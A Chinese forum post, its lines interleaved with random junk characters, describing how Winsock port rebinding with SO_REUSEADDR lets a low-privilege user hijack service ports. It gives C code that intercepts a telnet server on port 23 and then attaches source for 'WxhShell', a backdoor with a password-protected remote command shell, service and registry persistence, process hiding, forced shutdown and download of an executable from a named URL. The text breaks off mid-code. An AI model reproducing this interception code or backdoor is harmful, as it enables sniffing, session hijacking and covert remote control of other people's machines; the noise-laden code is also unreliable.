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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: rQ^X3J*`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G lz0`z  
{HJzhIgCf  
  saddr.sin_family = AF_INET; (1 L9K;  
4`x.d  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 'Xl_,; W]  
x6, #Jp  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /EN3>25"#  
DrG9Kky{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Rmq8lU  
q`l&G%  
  这意味着什么?意味着可以进行如下的攻击: $_j\b4]%  
qdlz#-B  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .,)C^hs@  
.pP{;:Avpn  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) mSw$? >  
l>KkK|!T^i  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Fq]ht*  
}b// oe7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Cr!}qZq  
FC'v= *  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gUfLw  
nLA8Hy"8z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %n^jho5  
h";0i:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 h  0EpW5  
0Zt=1Tv  
  #include (<= &#e?  
  #include X3C"A|HE9  
  #include j k%MP6  
  #include    j{.P'5e@pZ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2wHvHH!  
  int main() J>I.|@W4  
  { C q/936`O  
  WORD wVersionRequested; Q7 dXTS4H  
  DWORD ret; Im NTk  
  WSADATA wsaData; -~nU&$ccL  
  BOOL val; &"D *  
  SOCKADDR_IN saddr; jTo-xP{lC  
  SOCKADDR_IN scaddr; {uurM` f}:  
  int err; P1<Y7 +n  
  SOCKET s; (*.t~6c?5  
  SOCKET sc; Kt(Z&@  
  int caddsize; :UjF<V  
  HANDLE mt; PT9,R^2T!  
  DWORD tid;   3GH@|id  
  wVersionRequested = MAKEWORD( 2, 2 ); 9#:b+Amzz  
  err = WSAStartup( wVersionRequested, &wsaData ); s Zan.Kc#  
  if ( err != 0 ) { `Qf$]Eoft  
  printf("error!WSAStartup failed!\n"); "bO\Wt#Mf  
  return -1; sh $mOy  
  } {Vc%ga|E  
  saddr.sin_family = AF_INET; C%s+o0b  
   uF xrv  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :Hk:Goo2  
/H_,1Fu|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~16QdwK  
  saddr.sin_port = htons(23); kC =e>v  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) orGNza"A  
  { < a g|#  
  printf("error!socket failed!\n"); M;BDo(1  
  return -1; 9uV'# sR  
  } +- ~:E_G  
  val = TRUE; WaU+ZgDrG  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #WBlEVx;Z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _JlbVe[<  
  { taS2b#6\+  
  printf("error!setsockopt failed!\n"); 'A0.(a5  
  return -1; k4|9'V&1*6  
  } Dc,h( 2  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6mP s;I  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P@ gVzx)M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 a[<'%S#3x  
G_GPnKdd  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) zTDB]z!A  
  { Hzr<i4Y=w9  
  ret=GetLastError(); -WDU~VSU  
  printf("error!bind failed!\n"); ]7 qn&(]  
  return -1; Uu~7+oaQ  
  } <h(KI Y9T  
  listen(s,2); tx$kD2  
  while(1) OH`| c  
  { %9,:  
  caddsize = sizeof(scaddr); T3HAr9i%)  
  //接受连接请求 <qG4[W,[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 08J[9a0[  
  if(sc!=INVALID_SOCKET) #) eI]  
  { 8]@)0q {r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); k lLhi<*  
  if(mt==NULL) ` ZO#n  
  { (w31W[V'#  
  printf("Thread Creat Failed!\n"); Gp0H[-oF  
  break; 3 ;M7^DM  
  } <eU1E }BDQ  
  } \Tf$i(0q  
  CloseHandle(mt); .\r=1HZ3  
  } 9FB[`}  
  closesocket(s); gB4&pPN  
  WSACleanup(); iV h^;  
  return 0; "m*.kB)e7  
  }   ?hpT"N,hF9  
  DWORD WINAPI ClientThread(LPVOID lpParam) \#LkzN8  
  { yc4?'k!  
  SOCKET ss = (SOCKET)lpParam; -__RFxG  
  SOCKET sc; 2TH13k$  
  unsigned char buf[4096]; >FO4]  
  SOCKADDR_IN saddr; ==zt)s.G(+  
  long num; j]-0m4QF  
  DWORD val; 3j'A.S  
  DWORD ret; XILB>o.^3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _a;E>   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }2WscxL  
  saddr.sin_family = AF_INET; ~r/"w'dB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3AKT>Wy =  
  saddr.sin_port = htons(23); ~}uv4;0l]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 42`%D  
  { $uw[X  
  printf("error!socket failed!\n"); DtXQLL*fl(  
  return -1;  =fJDFg  
  } !Zo we*`  
  val = 100; PUt\^ke  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C$"N)6%q  
  { 4o+SSS  
  ret = GetLastError(); 1J`<'{*  
  return -1; O$Wi=5  
  } 1u?h4w C  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #w%d  
  { 9q +I  
  ret = GetLastError(); G.2\Sw  
  return -1; pbfIO47ZC  
  } U GA_^?4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `pMI @"m  
  { h |Ofi  
  printf("error!socket connect failed!\n"); gMN>`Z`fV  
  closesocket(sc); Rm@#GP`  
  closesocket(ss); 26SXuFJ@  
  return -1; $w,?%i97  
  } 4Zz%vY  
  while(1) 06ndW9>wD)  
  { 0c2O'&$au  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U0%T<6*H  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [/h3HyZ.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9v\x&h  
  num = recv(ss,buf,4096,0); kJQH{n+)R  
  if(num>0) i D6f/|g  
  send(sc,buf,num,0); -L4fp  
  else if(num==0) Nk.m$  
  break; $|kq{@<  
  num = recv(sc,buf,4096,0); ^Rr!YnEN  
  if(num>0) <x QvS^|[  
  send(ss,buf,num,0); 2C6o?*RjyY  
  else if(num==0) i-.]onR  
  break; myq@X(K  
  } s$%t*T2J>  
  closesocket(ss); Ro}7ERA  
  closesocket(sc); ~]sj.>P  
  return 0 ; nt 9LBea  
  } )b%t4~7  
Lud[.>i  
f ZEyXb  
========================================================== A-n@:` n~  
 Mi>!  
下边附上一个代码,,WXhSHELL  lu_kir~  
U0ZT9/4  
========================================================== oI\ Lepl*  
.<m${yU{3  
#include "stdafx.h" fL^$G;_?3  
|IcA8[  
#include <stdio.h> 0oNNEC  
#include <string.h> lEZODc+%Y  
#include <windows.h> 6TR` O  
#include <winsock2.h> k.."_ 4  
#include <winsvc.h> _4#Mdnh}[  
#include <urlmon.h> M]Kx g;  
tPp9=e2[s  
#pragma comment (lib, "Ws2_32.lib") I cJy$+  
#pragma comment (lib, "urlmon.lib") f|v5i tO2  
C Oc,  
#define MAX_USER   100 // 最大客户端连接数 $_cO7d  
#define BUF_SOCK   200 // sock buffer 5dvP~sw  
#define KEY_BUFF   255 // 输入 buffer WyA`V C  
J-UqH3({Z,  
#define REBOOT     0   // 重启 D`Cy]j  
#define SHUTDOWN   1   // 关机 GhJ<L3  
1"\^@qRv#  
#define DEF_PORT   5000 // 监听端口 !:]/MpQ ?  
+YJpVxYmZ  
#define REG_LEN     16   // 注册表键长度 HXeX !  
#define SVC_LEN     80   // NT服务名长度 BvnNAi  
<)68ol~<  
// 从dll定义API ym_w09   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >Ut4INV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )%+7"7.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #\zC|%2+z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }'KHF0   
h tuYctu`  
// wxhshell配置信息 :5'8MU  
struct WSCFG { #Dz. 58A  
  int ws_port;         // 监听端口 4)Bk:K  
  char ws_passstr[REG_LEN]; // 口令 ^g'P H{68  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5i0vli /L  
  char ws_regname[REG_LEN]; // 注册表键名 7DZZdH$Fm  
  char ws_svcname[REG_LEN]; // 服务名 YHp]O+c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XLgp.w;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]lqe,>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (v,g=BS,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !MyCxM6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9cIKi#Bl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p!o?2Lbiw  
ip+?k<]z  
}; ?3_^SRW&a  
RM3"8J  
// default Wxhshell configuration Z1~`S!(}  
struct WSCFG wscfg={DEF_PORT, _'mK=`>u  
    "xuhuanlingzhe", EXbaijHQG  
    1, R:5uZAx  
    "Wxhshell", 1F' x$~ZI  
    "Wxhshell", q/h , jM  
            "WxhShell Service", s~NJy'Y  
    "Wrsky Windows CmdShell Service", HhZ>/5'(  
    "Please Input Your Password: ", :|HCUZ*H(T  
  1, ==Ah& ){4^  
  "http://www.wrsky.com/wxhshell.exe", <~bvf A=  
  "Wxhshell.exe" ;%Zu[G`C  
    }; Z#t}yC%^d  
,$+ P  
// 消息定义模块 @hF$qevX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pwg\b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]<BT+6L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8x`E UJ  
char *msg_ws_ext="\n\rExit."; $xqX[ocor  
char *msg_ws_end="\n\rQuit."; Aa`R40yl  
char *msg_ws_boot="\n\rReboot..."; g QYs,  
char *msg_ws_poff="\n\rShutdown..."; / tG[pg{[  
char *msg_ws_down="\n\rSave to "; `yYYyB[  
ROr|n]aJj  
char *msg_ws_err="\n\rErr!"; ~f6 Q  
char *msg_ws_ok="\n\rOK!"; ts/Ha*h  
[gIvB<Uv  
char ExeFile[MAX_PATH]; S }3?  
int nUser = 0; c6Z"6-}$  
HANDLE handles[MAX_USER]; s$Vz1B  
int OsIsNt; ZA7b;{o [  
>sGiDK @  
SERVICE_STATUS       serviceStatus; "rnVPHnQR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W|L#Q/ RX  
r'<!wp@  
// 函数声明 ,UNnz&H+f  
int Install(void); NtG^t}V  
int Uninstall(void); `D?  &)Y  
int DownloadFile(char *sURL, SOCKET wsh); #G]g  
int Boot(int flag); Tl L,dPM  
void HideProc(void); S=a>rnF  
int GetOsVer(void); >aAsUL5W  
int Wxhshell(SOCKET wsl); \'6%Ld5km  
void TalkWithClient(void *cs); 9>6?tb"f*H  
int CmdShell(SOCKET sock); ?$6(@>`f&t  
int StartFromService(void); aeE~[m  
int StartWxhshell(LPSTR lpCmdLine); i<M F8 $  
YJF|J2u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /^9=2~b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?/fC"MJq?  
,R}9n@JI^Y  
// 数据结构和表定义 97pfMk1_  
SERVICE_TABLE_ENTRY DispatchTable[] = QT4&Ix,4T1  
{ sdBB(  
{wscfg.ws_svcname, NTServiceMain}, 8^pu C  
{NULL, NULL} 2f5YkmGc";  
}; f&I5bPS7}  
iBk1QRdn  
// 自我安装 #'5{ ?Cb  
int Install(void) 629ogJo8  
{ &3|l4R\  
  char svExeFile[MAX_PATH]; (z:qj/|  
  HKEY key; "XLFw;o  
  strcpy(svExeFile,ExeFile); 1b<[/g9  
t+#vcg,G  
// 如果是win9x系统,修改注册表设为自启动 b/d 1(B@  
if(!OsIsNt) { Tq,dlDDOR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -#Jp@6'k%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lvH} 8 lJ  
  RegCloseKey(key); 'F^1)Ga$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =C- b#4Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0D/7X9xg9+  
  RegCloseKey(key); g~XR#vl$  
  return 0; AEd9H +I  
    } 9z+ZFIf7d  
  } nP0rg  
} +t8#rT ^B  
else { #s{EIj~YR_  
|`pDOd  
// 如果是NT以上系统,安装为系统服务 Z3f}'vr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dN@C)5pm5`  
if (schSCManager!=0) riQ0'-p  
{ {$I1(DYN  
  SC_HANDLE schService = CreateService GO3KKuQ=  
  ( qS?^(Vt|R  
  schSCManager, ! u9LZ  
  wscfg.ws_svcname, t4UL|fI  
  wscfg.ws_svcdisp, V6&6I  
  SERVICE_ALL_ACCESS, 8M,$|\U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %?BygG  
  SERVICE_AUTO_START, y$9XHubu  
  SERVICE_ERROR_NORMAL, yeLd,M/I  
  svExeFile, S;tvt/\!Z  
  NULL, T~ P<Gq} ,  
  NULL, k54b@U52 h  
  NULL, Yo\%53w/  
  NULL, }J6 y NoXu  
  NULL %GGSd0 g  
  ); ]] T,;|B  
  if (schService!=0) P}w0=  
  { 2>g!+p Ox  
  CloseServiceHandle(schService); H#3Ma1z  
  CloseServiceHandle(schSCManager); d wku6lCk  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  Q!(qb  
  strcat(svExeFile,wscfg.ws_svcname); Q"K`~QF"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Fr#QM0--B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1sq1{|NW~  
  RegCloseKey(key); n2Y a'YF  
  return 0; Qx8O&C?Ti  
    } H-3*},9  
  } T2TWb  
  CloseServiceHandle(schSCManager); jxZ_-1  
} }Vfc;2  
} +&.39q !  
jP.dQj^j&  
return 1; G[]h1f!  
} C_&ZQlgQ  
K@?K4o   
// 自我卸载 ^*F'[!. p  
int Uninstall(void) zqLOwzMlLx  
{ _ Gkb[H&RZ  
  HKEY key; U.1&'U*  
v!#koqd1y.  
if(!OsIsNt) { _$yS4=.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bp'\nso/  
  RegDeleteValue(key,wscfg.ws_regname); |`d-;pk!%  
  RegCloseKey(key); |P-kyY34  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M %!O)r#Pn  
  RegDeleteValue(key,wscfg.ws_regname); MADt$_  
  RegCloseKey(key); x??H%'rP  
  return 0; ~BgNM O;|  
  } \^dYmU  
} 0U! _o2]  
} TVK*l*  
else { T3t w.yh  
QG5 c>Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,7;euV5X  
if (schSCManager!=0) Wf =hFc1_@  
{ }^`5$HEi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); EJ(z]M`f  
  if (schService!=0) NW` Mc&  
  { REPI >-|  
  if(DeleteService(schService)!=0) { =<Ss&p>  
  CloseServiceHandle(schService); Y ^5RM  
  CloseServiceHandle(schSCManager); 8 -9<r  
  return 0; B3p79 j  
  } GmZ2a-M  
  CloseServiceHandle(schService); JykNEMB#  
  } < Q6  
  CloseServiceHandle(schSCManager); b<BkI""b  
} "YN6o_*]  
}  dK]#..  
o[g]Va*8  
return 1; ue -a/a  
} X]s="^  
-ug -rdXV  
// 从指定url下载文件 D 1(9/;9  
int DownloadFile(char *sURL, SOCKET wsh) HFX,EE  
{ _+<AxE9\  
  HRESULT hr; G#3$sz  
char seps[]= "/"; 1%7zCM0s  
char *token; ODKS6E1{  
char *file; :JK+V2B$H  
char myURL[MAX_PATH]; Q@rlqWgU ~  
char myFILE[MAX_PATH]; !*}E  
>[g.8'hI  
strcpy(myURL,sURL); ,<;.'r  
  token=strtok(myURL,seps); Ll`nO;h  
  while(token!=NULL) ew,g'$drD  
  { T!|-dYYI  
    file=token; P%ZU+ET  
  token=strtok(NULL,seps); W7w*VD|  
  } _ 3{8Zg  
r|3<UR%  
GetCurrentDirectory(MAX_PATH,myFILE); 3u'@anre  
strcat(myFILE, "\\"); F 7X ] h  
strcat(myFILE, file); BLb'7`t  
  send(wsh,myFILE,strlen(myFILE),0); Ju_(,M-Vgr  
send(wsh,"...",3,0); ?$=Ml$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h4c4!S  
  if(hr==S_OK) @e+qe9A|  
return 0; \j0016;  
else nr%P11U\c  
return 1; c22L]Sxo  
dl+c+w"  
} wdRk+  
>viLvDng  
// 系统电源模块 o:@A%*jg  
int Boot(int flag) X + B=?|M  
{ LGWQBEXw  
  HANDLE hToken; T/q*k)IoR  
  TOKEN_PRIVILEGES tkp; tw<}7l_>Au  
Q.SqOHeJ  
  if(OsIsNt) { JiGS[tR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *s!T$oc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WDh*8!)  
    tkp.PrivilegeCount = 1; DK<}q1xi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rR(\fX!dg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ! ;R}=  
if(flag==REBOOT) { G.qjw]Llf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J:\O .F#Fi  
  return 0; 7/bF0 4~%  
} la{o<||Aq  
else { lht :%Ts$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `91?^T;\F  
  return 0; g?>   
} C{YTHN n  
  } :(i=> ~O  
  else { XZxzw*Y1J  
if(flag==REBOOT) { Wbi12{C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7qg. :h  
  return 0; 6g"qwWZp  
} 6^TWY[z2%  
else { dbfI!4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Cp#}x1{  
  return 0; PBAQ KQ  
} 'L2[^iF9  
} (o!i9)  
LP} j0)n  
return 1; #$JY &!M  
} <KZ J  
=@.5J'!  
// win9x进程隐藏模块 2~@Cj@P]  
void HideProc(void) mnM$#%q;%  
{ =Ct$!uun  
2XV3f$,H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |L6 +e *  
  if ( hKernel != NULL ) VpB+|%@p  
  { *m&(h@l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jk5C2dy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $wqi^q*)  
    FreeLibrary(hKernel); m[A$Sp_"-h  
  } ,sn 9&E  
ZV`o: Gd  
return; I_ na^s h*  
} q`@8  
% &i Wc_"  
// 获取操作系统版本 0V'XE1h  
int GetOsVer(void) 9<"l!noy  
{ ]Waa7)}DM  
  OSVERSIONINFO winfo; <#e!kWGR?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U z MIm  
  GetVersionEx(&winfo); *YWk.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eX o@3/  
  return 1; cnM`ywKW  
  else ^ ]SU (kY  
  return 0; :Q>{Y  
} x-SYfvYY  
I(+%`{Wv  
// 客户端句柄模块 3E;<aCG?  
int Wxhshell(SOCKET wsl) %F]:nk`  
{ g #[,4o;  
  SOCKET wsh; 0vcFX)]yW  
  struct sockaddr_in client; ;})s o  
  DWORD myID; k#<Y2FJa  
L_fiE3G|>  
  while(nUser<MAX_USER) X1GM\*BE  
{ v;IuB  
  int nSize=sizeof(client); Ai5D[ykX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >>0c)uC|W  
  if(wsh==INVALID_SOCKET) return 1; c 4L++ u#  
{(^%2dk83C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |3 v+&eVi  
if(handles[nUser]==0) +'9eo%3O  
  closesocket(wsh); 6g'+1%O  
else 'h;x>r  
  nUser++; ]PZ\N~T  
  } .q9i10C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F vHd `  
T :X A  
  return 0; >FReGiK$T  
} q%MLj./?[  
RU,!F99'1  
// 关闭 socket )5ISkbsxD  
void CloseIt(SOCKET wsh) -\}Ix>  
{ i,y7R?-K  
closesocket(wsh); G!w?\-  
nUser--; ;Y`k-R:E6A  
ExitThread(0); X8(WsN  
} )[5.*g@  
f=nVK4DuZ  
// 客户端请求句柄 ~9dAoILrl  
void TalkWithClient(void *cs) a9TKp$LP`  
{ go5l<:9  
BY??X=  
  SOCKET wsh=(SOCKET)cs; n; *W#c  
  char pwd[SVC_LEN]; 3+iQct[  
  char cmd[KEY_BUFF]; S$i3/t  
char chr[1]; w-?Cg8bq<  
int i,j; x-@6U  
ZVz`-h B  
  while (nUser < MAX_USER) { f}+8m .g2  
 ~b LhI  
if(wscfg.ws_passstr) { `r.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mt+gg F.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \FjY;rqfKe  
  //ZeroMemory(pwd,KEY_BUFF); 3ypf_]<  
      i=0; firiYL"=44  
  while(i<SVC_LEN) { Be2yS]U  
s@5r}6?M  
  // 设置超时 IP l]$j>N  
  fd_set FdRead; VHTr;(]hk  
  struct timeval TimeOut; [7gwJiK  
  FD_ZERO(&FdRead); + xRSd *  
  FD_SET(wsh,&FdRead); f 7j9'k  
  TimeOut.tv_sec=8; Zcxj.F(,  
  TimeOut.tv_usec=0; KZ/ 2#`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1IV R4:a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); } OAH/BW  
g+M& _n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,SSq4  
  pwd=chr[0]; K!_''Fg  
  if(chr[0]==0xd || chr[0]==0xa) { "\1QJ  
  pwd=0; W1p5F\ wt  
  break; -O?&+xIK&  
  } %%f(R7n  
  i++; dSIZsapH  
    } Zywx.@!  
]eIV'lP,j/  
  // 如果是非法用户,关闭 socket ~3s\Q%   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =hB0p^a  
} ^ ]CQd   
U Zc%XZ`"V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [49Ae2W`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ${)s ~[  
\P7y&`|  
while(1) { vP{;'R  
P0XVR_TJf  
  ZeroMemory(cmd,KEY_BUFF); b#E!wMClS  
1PjqXgN5p  
      // 自动支持客户端 telnet标准   Blnc y  
  j=0; uQtwh08i  
  while(j<KEY_BUFF) { mY,t]#^m7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #~`]eM5`J  
  cmd[j]=chr[0]; keL!;q|r-)  
  if(chr[0]==0xa || chr[0]==0xd) { r&c31k]E  
  cmd[j]=0; .q9wyVi7GI  
  break; ~Y'j8W  
  } YR}By;Bq  
  j++; 5WG:m'$$  
    } 9V( esveq  
?br4 wl  
  // 下载文件 YUsMq3^&  
  if(strstr(cmd,"http://")) { m kHcGB!~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3Mt Alc0xp  
  if(DownloadFile(cmd,wsh)) UV8K$n<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W05>\Rl  
  else &[|P/gj#>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5 ]v]^Y'?  
  } ~ 6-6aYhe  
  else { h`b[c.%  
*]RCfHo\=  
    switch(cmd[0]) { a #4 'X*  
  ![a~y`<K,  
  // 帮助 rYwUD7ip  
  case '?': { '`fz|.|cbB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <tp#KZE  
    break; "/}cV5=Z  
  } J{bNx8.&  
  // 安装 #Bgq]6G2  
  case 'i': {  _F9O4Q4  
    if(Install()) *QT|J6ng  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nH % 1lD?:  
    else y OLqIvN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BbdJR]N/!h  
    break; &i%1\ o  
    } ccu13Kr>E  
  // 卸载 -!b@\=  
  case 'r': { @CU~3Md*  
    if(Uninstall()) y:3d`E4Xw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [Y=X^"PF  
    else ,,KGcDBj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -S,xR5  
    break; !@vM@Z"  
    } K:g:GEDgf  
  // 显示 wxhshell 所在路径 0x/3Xz  
  case 'p': { zr5(nAl  
    char svExeFile[MAX_PATH]; DTR/.Nr'K  
    strcpy(svExeFile,"\n\r"); s.7s:Q`  
      strcat(svExeFile,ExeFile); lYMNx|PF  
        send(wsh,svExeFile,strlen(svExeFile),0); }./_fFN@  
    break; ?Ok@1  
    } 2?bE2^6  
  // 重启 +|=5zWI /  
  case 'b': { 7yK1Q_XY>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8${Yu  
    if(Boot(REBOOT)) eX@7f!uz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +)gXU Vwd  
    else { gYy9N=f+  
    closesocket(wsh); /P3s.-sL  
    ExitThread(0); Pqm)OZE?  
    } &`J?`l X  
    break; p>@S61 & [  
    } p~xrl jP$  
  // 关机 QP?Deltp  
  case 'd': { $=-Q]ld&]  
